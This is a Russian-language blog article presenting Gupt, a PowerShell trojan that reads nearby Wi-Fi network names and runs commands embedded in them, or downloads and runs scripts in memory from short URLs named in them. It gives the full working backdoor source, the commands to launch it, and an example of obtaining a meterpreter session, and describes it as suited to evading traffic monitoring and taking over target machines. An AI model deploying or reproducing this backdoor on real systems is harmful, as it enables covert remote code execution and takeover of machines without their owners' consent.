04.11.2014

Gupt - троян, использующий имена беспроводных сетей для запуска команд

image

В этой статье я расскажу о трояне Gupt, скрипте для PowerShell, который может запускать команды и скрипты на целевой машине, если бэкдору передать специально сформированный SSID.

Автор: Nikhil SamratAshok Mittal

Некоторое время назад я экспериментировал с мобильной беспроводной точкой доступа и PowerShell. Используя PowerShell, я вывел перечень SSID’ов (Service Set Identifier), созданных точкой доступа, пытаясь понять, можно ли эксплуатировать эти идентификаторы в злонамеренных целях. Оказалось, что можно, но с помощью некоторых приложений.

В этой статье я расскажу о трояне Gupt (что означает «секрет»), скрипте для PowerShell, который может запускать команды и скрипты на целевой машине, если бэкдору передать специально сформированный SSID. По размеру Gupt весьма мал, но обладает большими возможностями.

Как и другие трояны, Gupt нужно запустить на целевой машине, что можно сделать при помощи Powershell Remoting и PsExec (необходимы учетные данные пользователя или хеши встроенной административной учетной записи) вместе с эксплоитом, реализуя атаки со стороны клиента, Human Interface Device и т. д. (в предыдущих моих статьях детально рассказывается об этих методах).

Выполнение команд

Каждые 5 секунд Gupt проверяет все имена беспроводных сетей на присутствие определенного шаблона. Запрашиваются два параметра. Первый – MagicString, используемый для идентификации SSID, содержащим команды для трояна. Параметр MagicString должен быть длиной 4 символа. К примеру, если мы установим в MagicString значение «op3n», Gupt будет искать все доступные сетевые имена, у которых первые четыре символа совпадают с «op3n». Трояну необходимо передать имя в определенном формате. Первые 4 знака должны совпадать с MagicString; 5-й символ определяет, будем ли мы выполнять команду или загружать и запускать powershell-скрипт.

Если 5-й символ – «с», это означает, что остальная часть сетевого имени – команда! К примеру, если Gupt найдет сеть с именем «op3ncwhoami», на целевой машине будет выполнена команда whoami. Просто, не правда ли? :)

Посмотрим, как обстоят дела на практике. Будем использовать следующие команды:

PS C:\nishang> . .\Gupt-Backdoor.ps1

PS C:\nishang> Gupt-Backdoor -MagicString op3n –Verbose

Рисунок 1: Поиск и запуск инструкций на машинах с именами, начинающимися с «op3n» инструкций

Прекрасно. Мы запустили команду на целевой машине без подключения этой машины к беспроводной сети. Посмотрим на SSID злоумышленника.

Рисунок 2: Сетевое имя целевой машины

Как было сказано ранее, все, что находится после символа «с», рассматривается, как одиночная команда.

Рассмотрим другой пример. На этот раз будем использовать powershell-командлет Get-Process. SSID будет таким: «holacget-process».

Рисунок 3: Получаем список процессов на целевой машине

После выполнения команды Gupt ожидает в течение 10 секунд. Можно запустить и другие команды, если изменить SSID.

Запуск скриптов

Поскольку максимальное значение SSID не более 32 символов (не считая специальных символов), передача содержимого скрипта через SSID невозможна. В Gupt предусмотрена загрузка скриптов через интернет. Если 5-й символ в SSID – «u», остальную часть имени Gupt рассматривает как часть короткого URL’а. К примеру, если SSID – «op3nunJEuug», троян будет загружать скрипт по адресу http://goo.gl/nJEuug. Затем скрипт будет выполнен в памяти. Второй параметр – Arguments, может использоваться для передачи аргументов в загруженный скрипт.

Рассмотрим пример. Для скрипта Get-Information будем использовать следующие команды:

PS C:\nishang> . .\Gupt-Backdoor.ps1

PS C:\nishang> Gupt-Backdoor -MagicString op3n -Argument Get-Information –Verbose

Рисунок 4: Загрузка и запуск скрипта Get-Information

Имя SSID злоумышленника – «op3nunJEuug».

Схожим образом запускается модуль Powerpreter, возможности которого намного шире.

Посмотрим, можно ли получить meterpreter-сессию. Мы будем использовать powershell-скрипт, сгенерированный при помощи msfpayload.

Рисунок 5: Получение meterpreter-сессии

И теперь у нас есть meterpreter-сессия.

Рисунок 6: Подключение к meterpreter-сессии

SSID злоумышленника выглядит так:

Рисунок 7: SSID для загрузки скрипта из интернета

Полная версия исходного текста Gupt:

function Gupt-Backdoor
{
[CmdletBinding()] Param(
[Parameter(Position=0, Mandatory = $True)]
[String]
$MagicString,
[Parameter(Position=3, Mandatory = $False)]
[String]
$Arguments
)
#Get list of available Wlan networks
while($True)
{
Write-Verbose "Checking wireless networks for instructions."
$networks = Invoke-Expression "netsh wlan show network"
$ssid = $networks | Select-String "SSID"
$NetworkNames = $ssid -replace ".*:" -replace " "
ForEach ($network in $NetworkNames)
{
#Check if the first four characters of our SSID matches the given MagicString
if ($network.Substring(0,4) -match $MagicString.Substring(0,4))
{
Write-Verbose "Found a network with instructions!"
#If the netowrk SSID contains fifth chracter "u", it means rest of the SSID is a URL
if ($network.Substring(4)[0] -eq "u")
{
Write-Verbose "Downloading the attack script and executing it in memory."
$PayloadURL = "http://goo.gl/" + $network.Substring(5)
$webclient = New-Object System.Net.WebClient
Invoke-Expression $webclient.DownloadString($PayloadURL)
if ($Arguments)
{
Invoke-Expression $Arguments
}
Start-Sleep -Seconds 10
}
elseif ($network.Substring(4)[0] -eq "c")
{
$cmd = $network.Substring(5)
if ($cmd -eq "exit")
{
break
}
Write-Verbose "Command `"$cmd`" found. Executing it."
Invoke-Expression $cmd
Start-Sleep -Seconds 10
}
}
}
Start-Sleep -Seconds 5
}
}

После выполнения скрипта Gupt находится в режиме ожидания в течение 10 секунд.

Завершить работу Gupt можно при помощи имени «op3ncexit».

Gupt используется по-разному, начиная от обхода систем мониторинга трафика и заканчивая полным захватом целевой машины.

Троян находится в репозитарие Github. Также в скором времени Gupt станет частью Kautilya.

Надеюсь, вам понравилась эта статья. Делитесь своими мыслями в комментариях.

comments powered by Disqus